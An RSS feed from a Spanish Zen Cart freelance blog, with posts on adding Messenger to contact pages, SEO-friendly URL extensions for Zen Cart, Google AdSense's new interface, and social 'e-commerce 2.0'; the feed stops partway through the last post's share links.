<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Experto Zen Cart - Programador Freelance Tiendas Virtuales Zen Cart</title>
	<atom:link href="http://www.zen-cart.es/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.zen-cart.es</link>
	<description>Tiendas virtuales y mucho más</description>
	<lastBuildDate>Tue, 12 Jan 2010 23:13:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ampliar los métodos de contacto con Messenger en la web</title>
		<link>http://www.zen-cart.es/herramientas/ampliar-metodos-contacto-messenger-web/</link>
		<comments>http://www.zen-cart.es/herramientas/ampliar-metodos-contacto-messenger-web/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 23:00:11 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Herramientas]]></category>
		<category><![CDATA[Contacto Zen Cart]]></category>
		<category><![CDATA[Messenger Web]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=152</guid>
		<description><![CDATA[Una buena p&#225;gina de contacto deber&#237;a orientar a los usuarios tanto en los m&#233;todos a emplear (tel&#233;fono, fax, e-mail, chat&#8230;), como en los motivos por los que contactar (dudas sobre un producto, informaci&#243;n sobre un pedido, consejos&#8230;). 
Los m&#233;todos que com&#250;nmente encontramos son: el tel&#233;fono, el e-mail, los formularios de contacto y el fax, pero [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F" height="61" width="51" title="Ampliar los métodos de contacto con Messenger en la web" alt=" Ampliar los métodos de contacto con Messenger en la web" /></a></div><p>Una buena <b>p&aacute;gina de contacto</b> deber&iacute;a orientar a los usuarios tanto en los m&eacute;todos a emplear (tel&eacute;fono, fax, e-mail, chat&#8230;), como en los motivos por los que contactar (dudas sobre un producto, informaci&oacute;n sobre un pedido, consejos&#8230;). </p>
<p>Los m&eacute;todos que com&uacute;nmente encontramos son: el tel&eacute;fono, el e-mail, los formularios de contacto y el fax, pero suele ser buena idea el ofrecer otras alternativas, como por ejemplo, las redes sociales en las que se tenga presencia y la mensajer&iacute;a instant&aacute;nea como: skype, GTalk y, porque no, <b>Messenger en la web</b> (mediante <a href="http://messengersays.spaces.live.com/blog/cns%215B410F7FD930829E%2130835.entry" mce_href="http://messengersays.spaces.live.com/blog/cns!5B410F7FD930829E!30835.entry" title="Msn en Web"><b>Windows Live&trade; Messenger IM Control</b></a> o mediante <a href="http://www.plugoo.com/" mce_href="http://www.plugoo.com/">Plugoo</a>).</p>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F&amp;t=Ampliar%20los%20m%C3%A9todos%20de%20contacto%20con%20Messenger%20en%20la%20web" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F&amp;title=Ampliar%20los%20m%C3%A9todos%20de%20contacto%20con%20Messenger%20en%20la%20web&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=Una%20buena%20p%26aacute%3Bgina%20de%20contacto%20deber%26iacute%3Ba%20orientar%20a%20los%20usuarios%20tanto%20en%20los%20m%26eacute%3Btodos%20a%20emplear%20%28tel%26eacute%3Bfono%2C%20fax%2C%20e-mail%2C%20chat...%29%2C%20como%20en%20los%20motivos%20por%20los%20que%20contactar%20%28dudas%20sobre%20un%20producto%2C%20informaci%26oacute%3Bn%20sobre%20un%20" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=Ampliar%20los%20m%C3%A9todos%20de%20contacto%20con%20Messenger%20en%20la%20web%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fampliar-metodos-contacto-messenger-web%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/herramientas/ampliar-metodos-contacto-messenger-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>URLs amigables en Zen Cart</title>
		<link>http://www.zen-cart.es/posicionamiento-web/urls-amigables-zen-cart/</link>
		<comments>http://www.zen-cart.es/posicionamiento-web/urls-amigables-zen-cart/#comments</comments>
		<pubDate>Sun, 22 Nov 2009 09:13:19 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Posicionamiento Web]]></category>
		<category><![CDATA[CEON URI Mapping]]></category>
		<category><![CDATA[URLs amigables]]></category>
		<category><![CDATA[Zen Cart SEO]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=88</guid>
		<description><![CDATA[	El empleo de palabras relevantes en las URL influye positivamente a la hora de mejorar la posici&#243;n de nuestra tienda virtual en los buscadores. Utilizando una URL sem&#225;ntica o URL amigable estamos aportando nuestro granito de arena en la relevancia web y, al mismo tiempo, estamos consiguiendo direcciones entendibles para nuestros usuarios.
	Por defecto, las URL [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F" height="61" width="51" title="URLs amigables en Zen Cart" alt=" URLs amigables en Zen Cart" /></a></div>	<p><img alt="URLs Amigables" class="alignleft size-full wp-image-132" height="306" src="http://www.zen-cart.es/wp-content/uploads/2009/11/urls_amigables.jpg" title="urls_amigables" width="393" />El empleo de palabras relevantes en las URL influye positivamente a la hora de mejorar la posici&oacute;n de nuestra tienda virtual en los buscadores. Utilizando una <strong>URL sem&aacute;ntica</strong> o <strong>URL amigable</strong> estamos aportando nuestro granito de arena en la relevancia web y, al mismo tiempo, estamos consiguiendo direcciones entendibles para nuestros usuarios.</p>
	<p>Por defecto, las URL que tendremos en nuestra tienda Zen Cart no son nada amigables. Estas URLs contendr&aacute;n los par&aacute;metros necesarios para identificar, en cada momento, el tipo de acci&oacute;n que deseamos realizar o el contenido que queremos consultar.</p>
	<p>Veamos, por ejemplo, la direcci&oacute;n de un producto:</p>
	<p><span style="color: rgb(128, 128, 128);"><em>http://www.zen-cart.es/index.php?main_page=product_info&amp;products_id=460&amp;zenid=ob3kgp65qns3uft0fqc9c8vhk2</em></span></p>
	<p>Esta direcci&oacute;n tiene los par&aacute;metros necesarios para acceder a la informaci&oacute;n de un producto concreto:</p>
	<ul>
	<li><strong>main_page</strong>: p&aacute;gina a la que queremos acceder (product_info; p&aacute;gina de informaci&oacute;n del producto).</li>
	<li><strong>products_id</strong>: identificador &uacute;nico del producto que deseamos consultar. En este caso, deseamos consultar el producto 460.</li>
	<li><strong>zen_id</strong>: este par&aacute;metro s&oacute;lo lo encontraremos la primera vez que accedamos a la tienda y se utiliza para identificar de forma &uacute;nica a cada uno de los usuarios durante toda su navegaci&oacute;n por nuestra tienda.</li>
	</ul>
	<p>El identificador de sesi&oacute;n (zen_id) supone una desventaja adicional a la hora de posicionar nuestra tienda y, concretamente a la hora de evitar el contenido duplicado. Este par&aacute;metro de sesi&oacute;n ir&aacute; variando por cada usuario que acceda a nuestra tienda y de la misma forma, varir&aacute; cuando el buscador/robot de turno intente indexar nuestro contenido. Con esto, estaremos mostrando exactamente el mismo contenido para diferentes direcciones URL.</p>
	<p>Configurando correctamente nuestra tienda, podemos conseguir ignorar el par&aacute;metro de sesi&oacute;n en los buscadores, aunque este siga apareciendo en nuestras direcciones. Algunos buscadores, como por ejemplo Google, tambi&eacute;n nos ofrecen la posibilidad de ignorar estos par&aacute;metros mediante algunos ajustes en sus Herramientas para Webmasters.</p>
	<p><span id="more-88"></span></p>
	<h3>Ventajas de las URL amigables</h3>
	<p>Como hemos mencionado al inicio de esta entrada, una URL sem&aacute;ntica o URL amigable tiene diversas ventajas frente a las URL parametrizadas, pero cuales son estas ventajas?</p>
	<ul>
	<li>Las URLs amigables son m&aacute;s f&aacute;ciles de memorizar y por lo general, son m&aacute;s cortas que las URLs parametrizadas
	<ul>
	<li><span style="color: rgb(128, 128, 128);"><em>http://www.zen-cart.es/index.php?main_page=product_info&amp;products_id=460&amp;zenid=ob3kgp65qns3uft0fqc9c8vhk2</em></span></li>
	<li><span style="color: rgb(128, 128, 128);"><em>http://www.zen-cart.es/posicionamiento-web/urls-amigables</em></span></li>
	</ul>
	</li>
	<li>Nos ofrecen la posibilidad de situar mejor al usuario mediante el uso de niveles y subniveles
	<ul>
	<li><em><span style="color: rgb(128, 128, 128);">http://www.zen-cart.es/posicionamiento-web/urls-amigables</span></em></li>
	<li><em><span style="color: rgb(128, 128, 128);">http://www.zen-cart.es/posicionamiento-web/relevancia-web/el-contenido</span></em></li>
	</ul>
	</li>
	<li>Mejoran la relevancia de cada p&aacute;gina al incluir palabras clave en las direcciones</li>
	<li>Nos aseguran la existencia de palabras relevantes a la hora de ser enlazados desde otras webs</li>
	</ul>
	<h3>URLs amigables en Zen Cart</h3>
	<p>Por defecto, <a href="http://www.zen-cart.es">Zen Cart</a> no ofrece la posibilidad de tener direcciones URL amigables, pero existen extensiones/contribuciones que nos pueden ayudar a optimizar nuestra tienda en este sentido.</p>
	<p><strong>Ultimate SEO URLs<br />
	</strong></p>
	<p>Esta contribuci&oacute;n ha sido portada de Os Commerce y es la contribuci&oacute;n m&aacute;s empleada a la hora de conseguir URLs amigables.</p>
	<p><a href="http://www.zen-cart.es/wp-content/uploads/2009/11/zen_cart_seo_urls.jpg" title="Configuración Ultimate SEO URLs" rel="lightbox[88]"><img alt="Ultimate SEO URLs" class="alignleft size-full wp-image-111" height="200" src="http://www.zen-cart.es/wp-content/uploads/2009/11/zen_cart_seo_urls_min.jpg" style="margin-right: 2.5em;" width="250" title="URLs amigables en Zen Cart" /></a>Pros:</p>
	<ul>
	<li>F&aacute;cil de instalar</li>
	<li>F&aacute;cil de activar y desactivar</li>
	<li>F&aacute;cil de configurar</li>
	<li>F&aacute;cil de gestionar las URL</li>
	<li>Dispone de sistema de cach&eacute; para productos, categor&iacute;as, fabricantes,etc</li>
	<li>Permite redirecciones 301 de URLs antiguas a URLs nuevas cuando realizamos cambios en las direcciones.</li>
	</ul>
	<p>Contras:</p>
	<ul>
	<li>No podemos decidir las URL de cada categor&iacute;a, producto, fabricante/marca, etc</li>
	<li>Las direcciones contienen algunos par&aacute;metros. No son direcciones totalmente limpias</li>
	<li>No se actualiza desde 2008, mientras que su versi&oacute;n en Os Commerce ha seguido actualiz&aacute;ndose con nuevas mejoras, correcciones de errores, etc</li>
	</ul>
	<p><strong>CEO Uri Mapping (SEO)<br />
	</strong></p>
	<p><a href="http://www.zen-cart.es/wp-content/uploads/2009/11/zen_cart_ceon_uri_mapping.jpg" title="Configuración CEON URI Mapping" rel="lightbox[88]"><img alt="Configuración CEON URI Mapping" class="alignleft size-full wp-image-117" height="200" src="http://www.zen-cart.es/wp-content/uploads/2009/11/zen_cart_ceon_uri_mapping_min.jpg" style="margin-right: 2.5em;" width="250" title="URLs amigables en Zen Cart" /></a>Pros:</p>
	<ul>
	<li>Instalaci&oacute;n f&aacute;cil y limpia</li>
	<li>F&aacute;cil de activar y desactivar</li>
	<li>F&aacute;cil de configurar</li>
	<li>Las URL son totalmente editables a nuestro gusto y limpias de par&aacute;metros. &iexcl;Una gran ventaja!</li>
	</ul>
	<p>&nbsp;</p>
	<p>&nbsp;</p>
	<p>Contras:</p>
	<ul>
	<li>No dispone de un sistema autom&aacute;tico para la generaci&oacute;n de las URLs existentes, ni de gesti&oacute;n de URLs. Esto supone un gran problema en tiendas con muchos productos, en tiendas que importan su cat&aacute;logo mediante excels, etc.
	<p>		La extensi&oacute;n genera las URLs de categor&iacute;as, productos, fabricantes/marcas, ez Pages, etc, pero una a una. Para generar una URL deberemos acceder a cada producto, categor&iacute;a, fabricante, etc marcar la casilla de generaci&oacute;n de URL o escribirla y guardar los datos. Para generar otras URLs deberemos acceder directamente a la base de datos.</li>
	<li>El c&oacute;digo actual, se torna exageradamente lento cuando tenemos muchas URLs generadas. Con m&aacute;s de 100.000 llega a tardar hasta 4 y 5 veces m&aacute;s que con la extensi&oacute;n desactivada, pero existe una soluci&oacute;n a esta lentitud y la explicaremos en una de las pr&oacute;ximas entradas.</li>
	<li>No dispone de un sistema de cach&eacute;</li>
	<li>No permite redirecciones de URLs antiguas a URLs nuevas</li>
	</ul>
	<p>Personalmente pienso que <a href="http://www.zen-cart.com/index.php?main_page=product_contrib_info&amp;products_id=1269" rel="nofollow" title="CEON URI Mapping"><strong>CEON URI Mapping</strong></a> presenta una gran ventaja frente a la contribuci&oacute;n <a href="http://www.zen-cart.com/index.php?main_page=product_contrib_info&amp;products_id=231" rel="nofollow" title="Ultimate SEO URLs"><strong>Ultimate SEO URLs</strong></a>, en el momento en el que podemos decidir cuales son las palabras que vamos a utilizar en una URL y cuales son los niveles y subniveles que deseamos mostrar. Frente a estas ventajas, nos vamos a encontrar problemas realmente importantes como el no disponer de un sistema de generaci&oacute;n/gesti&oacute;n de URLs, pero si somos capaces de reutilizar el c&oacute;digo de la contribuci&oacute;n, podremos llegar a construirnos nuestras propias herramientas para solventar los contras de esta extensi&oacute;n.</p>
	<p>Para los que quieran adentrarse en el tema de las URLs amigables, dejo un par de enlaces donde se ofrecen algunos consejos a la hora de crearlas:</p>
	<ul>
	<li><a href="http://www.baluart.net/articulo/11-maneras-de-optimizar-una-url" title="Optimizar una URL">Optimizar una URL</a></li>
	<li><a href="http://www.baluart.net/articulo/seo-estructura-de-urls" title="Estructura de URLs">Estructura de URLs<br />
		</a></li>
	</ul>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F&amp;t=URLs%20amigables%20en%20Zen%20Cart" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F&amp;title=URLs%20amigables%20en%20Zen%20Cart&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=El%20empleo%20de%20palabras%20relevantes%20en%20las%20URL%20influye%20positivamente%20a%20la%20hora%20de%20mejorar%20la%20posici%26oacute%3Bn%20de%20nuestra%20tienda%20virtual%20en%20los%20buscadores.%20Utilizando%20una%20URL%20sem%26aacute%3Bntica%20o%20URL%20amigable%20estamos%20aportando%20nuestro%20granito%20de%20arena%20en%20la" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=URLs%20amigables%20en%20Zen%20Cart%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fposicionamiento-web%2Furls-amigables-zen-cart%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/posicionamiento-web/urls-amigables-zen-cart/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google AdSense &#8211; Nueva interface</title>
		<link>http://www.zen-cart.es/publicidad-online/google-adsense-nueva-interface/</link>
		<comments>http://www.zen-cart.es/publicidad-online/google-adsense-nueva-interface/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 15:08:16 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Publicidad Online]]></category>
		<category><![CDATA[Google AdSense]]></category>
		<category><![CDATA[Marketing Online]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=79</guid>
		<description><![CDATA[	Google ha anunciado en la conferencia CRS (Content Revenue Strategies) las primeras pruebas que un grupo reducidos de usuarios est&#225; realizando sobre la versi&#243;n beta de la nueva interface de Google AdSense.
	Esta nueva interface ha sido construida en base a las peticiones de los usuarios y con el objetivo de satisfacer las demandas m&#225;s importantes:
	Ofrecer [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F" height="61" width="51" title="Google AdSense   Nueva interface" alt=" Google AdSense   Nueva interface" /></a></div>	<p><a href="http://www.zen-cart.es/wp-content/uploads/2009/11/google_adsense_interface.png" title="Google AdSense nueva interface" rel="lightbox[79]"><img alt="google adsense interface Google AdSense   Nueva interface" class="alignleft size-full wp-image-80" height="212" src="http://www.zen-cart.es/wp-content/uploads/2009/11/google_adsense_interface.jpg" title="google_adsense_interface" width="450" /></a>Google ha anunciado en la conferencia CRS (<a href="http://crsconference.com/ny/CRS/">Content Revenue Strategies</a>) las primeras pruebas que un grupo reducidos de usuarios est&aacute; realizando sobre la versi&oacute;n beta de la nueva interface de <strong>Google AdSense</strong>.</p>
	<p>Esta nueva interface ha sido construida en base a las peticiones de los usuarios y con el objetivo de satisfacer las demandas m&aacute;s importantes:</p>
	<p><strong>Ofrecer ideas para ayudarnos a tomar decisiones acerca de sus sitios<br />
	</strong></p>
	<p>Google AdSense nos ofrecer&aacute; informes de rendimiento m&aacute;s detallados y estad&iacute;sticas diarias en forma de gr&aacute;fico, al estilo AdWords. Podremos consultar f&aacute;cilmente el beneficio obtenido con varios anuncios publicitarios, dispondremos de nuevos indicadores: objetivos, tipos de oferta, etc y los ya existentes como: clics, impresiones, <abbr title="Porcentaje de clics por impresión">CTR</abbr>, <abbr title="Coste efectivo por cada Mil Impresiones">eCPM</abbr>, etc.</p>
	<p><strong>Mayor control sobre los anuncios que aparecen en nuestra web<br />
	</strong></p>
	<p>La nueva interface incorpora novedades en su Centro de Revisi&oacute;n de Anuncios que nos van a dar un mayor control sobre aquellos anuncios publicitarios que se mostraran en nuestra web.</p>
	<p><strong>Mejoras para administrar la cuenta de AdSense de forma m&aacute;s eficiente<br />
	</strong></p>
	<p>Con el objetivo de hacer m&aacute;s sencillas las tareas comunes Google AdSense ha simplificado algunos procesos (realizar un cambio en dos anuncios al mismo tiempo ahora ser&aacute; m&aacute;s f&aacute;cil), ha incorporado ayudas relevantes en todas sus p&aacute;ginas, consejos del equipo de AdSense para conseguir mejores resultados, etc.</p>
	<p>Google est&aacute; intentanto recabar informaci&oacute;n de los usuarios que puedan probar la interface en Ingl&eacute;s, espa&ntilde;ol, franc&eacute;s, alem&aacute;n, italiano y japon&eacute;s. Para conseguir esta informaci&oacute;n est&aacute;n enviando invitaciones por correo para que hagamos de Betatesters de todas las novedades de AdSense.</p>
	<p>Google se ha puesto las pilas durante la crisis <img alt=":)" src="http://www.zen-cart.es/wp-content/plugins/fckeditor-for-wordpress-plugin/ckeditor/plugins/smiley/images/regular_smile.gif" title=":)" /></p>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F&amp;t=Google%20AdSense%20-%20Nueva%20interface" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F&amp;title=Google%20AdSense%20-%20Nueva%20interface&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=Google%20ha%20anunciado%20en%20la%20conferencia%20CRS%20%28Content%20Revenue%20Strategies%29%20las%20primeras%20pruebas%20que%20un%20grupo%20reducidos%20de%20usuarios%20est%26aacute%3B%20realizando%20sobre%20la%20versi%26oacute%3Bn%20beta%20de%20la%20nueva%20interface%20de%20Google%20AdSense.%0D%0AEsta%20nueva%20interface%20ha%20sido%20" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=Google%20AdSense%20-%20Nueva%20interface%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fpublicidad-online%2Fgoogle-adsense-nueva-interface%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/publicidad-online/google-adsense-nueva-interface/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comercio electrónico 2.0</title>
		<link>http://www.zen-cart.es/comercio-electronico/comercio-electronico-2-0/</link>
		<comments>http://www.zen-cart.es/comercio-electronico/comercio-electronico-2-0/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 17:43:06 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Comercio electrónico]]></category>
		<category><![CDATA[Comercio electrónico 2.0]]></category>
		<category><![CDATA[Redes sociales]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=46</guid>
		<description><![CDATA[	Leo en el blog de Fernando Maci&#225; una entrada publicada en Mayo de este a&#241;o, donde nos expone su visi&#243;n sobre el cambio de modelo que est&#225; &#34;empezando&#34; a surgir en las aplicaciones para el comercio electr&#243;nico. Un cambio que los usuarios demandan d&#237;a a d&#237;a intentando encontrar entornos colaborativos, transparentes, con herramientas de calidad, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F" height="61" width="51" title="Comercio electrónico 2.0" alt=" Comercio electrónico 2.0" /></a></div>	<p><img width="350" height="350" class="alignleft size-full wp-image-54" title="comercio_electronico_social" alt="comercio electronico social1 Comercio electrónico 2.0" src="http://www.zen-cart.es/wp-content/uploads/2009/09/comercio_electronico_social1.png" />Leo en el blog de <a title="Fernando Mari&aacute;" href="http://www.fernandomacia.com/web-20/web-20-y-comercio-electronico-la-nueva-ventaja-competitiva/">Fernando Maci&aacute;</a> una entrada publicada en Mayo de este a&ntilde;o, donde nos expone su visi&oacute;n sobre el cambio de modelo que est&aacute; &quot;empezando&quot; a surgir en las aplicaciones para el comercio electr&oacute;nico. Un cambio que los usuarios demandan d&iacute;a a d&iacute;a intentando encontrar entornos colaborativos, transparentes, con herramientas de calidad, &uacute;tiles, funcionales y con buena usabilidad.</p>
	<blockquote>
	<p class="comillas">El modelo de tienda electr&oacute;nica entendida como escaparate virtual o autoservicio online est&aacute; claramente superado.</p>
	<p style="text-align: right;"><span style="color: rgb(128, 128, 128);"><em>Fernando Maci&aacute;.</em></span></p>
	</blockquote>
	<p>En Espa&ntilde;a el comercio electr&oacute;nico no est&aacute; tan desarrollado como en otros pa&iacute;ses, pero actualmente continua evolucionando y <a href="http://www.cmt.es/cmt_ptl_ext/SelectOption.do?nav=comunicados_prensa&amp;detalles=090027198008417a&amp;hcomboAnio=2009&amp;hcomboMes=8&amp;pagina=1" title="CMT Comercio electr&oacute;nico primer trimestre 2009">creciendo</a> a pesar de la crisis. Crisis que empuja a muchas empresas a optar por el modelo de venta on-line frente al modelo tradicional de venta en tienda f&iacute;sica, bien por reducir costes, por intentar llegar a un p&uacute;blico determinado o bien porque el tipo de negocio se puede desarrollar mejor de forma on-line (el ejemplo de reservas para casas rurales mencionado por Fernando puede ser una buena muestra). </p>
	<p>Ahora la competencia es grande y los usuarios son m&aacute;s experimentados a la par que exigentes. Ya no es suficiente con que les mostremos nuestro cat&aacute;logo, novedades, productos m&aacute;s vendidos o que por gentileza les guardemos la cesta por si deciden aplazar la compra para otro momento. <strong>&iexcl;Hace falta algo m&aacute;s! </strong></p>
	<p>En mi opini&oacute;n este cambio de modelo es un cambio que si se empieza a ver poco a poco, sobre todo en comercios relacionados con turismo, vuelos, hotes, etc, que empieza a ser demandado por los que deciden montar una tienda virtual y que est&aacute; teniendo buenos resultados (como dice Fernando, supone una ventaja competitiva).</p>
	<p><strong>&iquest;Podemos empezar a hablar de tiendas online 2.0 o comercios sociales?</strong></p>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F&amp;t=Comercio%20electr%C3%B3nico%202.0" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
